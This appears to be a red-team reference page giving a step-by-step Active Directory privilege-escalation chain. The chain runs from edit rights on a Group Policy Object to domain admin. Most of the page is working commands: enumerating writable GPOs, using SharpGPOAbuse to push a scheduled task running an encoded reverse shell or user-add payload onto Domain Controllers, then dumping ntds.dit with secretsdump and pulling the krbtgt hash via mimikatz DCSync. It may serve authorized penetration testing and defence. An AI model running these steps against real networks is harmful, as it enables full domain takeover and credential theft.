Nullpath

Attack Path: GPO Edit Rights → Code Exec on DCs → Domain Admin

attack path attack-pathactive-directorygpoprivilege-escalation updated 13 Jun 2026 · 2 min

Attack Path: GPO Edit Rights → Code Exec on DCs → Domain Admin

If a GPO linked to an OU containing Domain Controllers (or any Tier-0 system) is writable, that’s a direct path to Domain Admin — no need for Kerberos trickery at all.

Chain

You (member of group with GenericWrite on a GPO)
  --GPO linked to "Domain Controllers" OU--
  --inject immediate scheduled task--> code exec as SYSTEM on DC
  --(SYSTEM on DC)--> dump krbtgt locally / DCSync

Step 1 — Find writable GPOs and what they’re linked to

# Find GPOs you can edit
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {
  $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl|WriteOwner|WriteProperty"
}

# Check what each GPO is linked to — look for "Domain Controllers" OU or domain root
Get-DomainOU -Properties name,gplink,distinguishedname | Where-Object {$_.gplink -match "{<GPO GUID>}"}

See gpo-abuse.

Step 2 — Push an immediate scheduled task

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "CORP\Admin" `
  --Command "cmd.exe" --Arguments "/c powershell -enc <base64 reverse-shell-or-add-user>" `
  --GPOName "Default Domain Controllers Policy"

Step 3 — Wait for refresh (or force it if you have a foothold on the DC’s network segment)

GPO refresh is every 90 min ± 0-30 min. The task fires once per refresh per affected machine — on a DC, that’s SYSTEM-level code execution.

Step 4 — From SYSTEM on a DC, full domain compromise

# Either dump ntds.dit locally...
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

# ...or just DCSync from this position
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

See dcsync, golden-silver-tickets.

Cleanup

SharpGPOAbuse changes persist in the GPO until removed — revert the GPT.ini version and remove the injected task/policy XML, or use Synacktiv’s GroupPolicyBackdoor (gpb.py gpo clean) which tracks state for clean removal.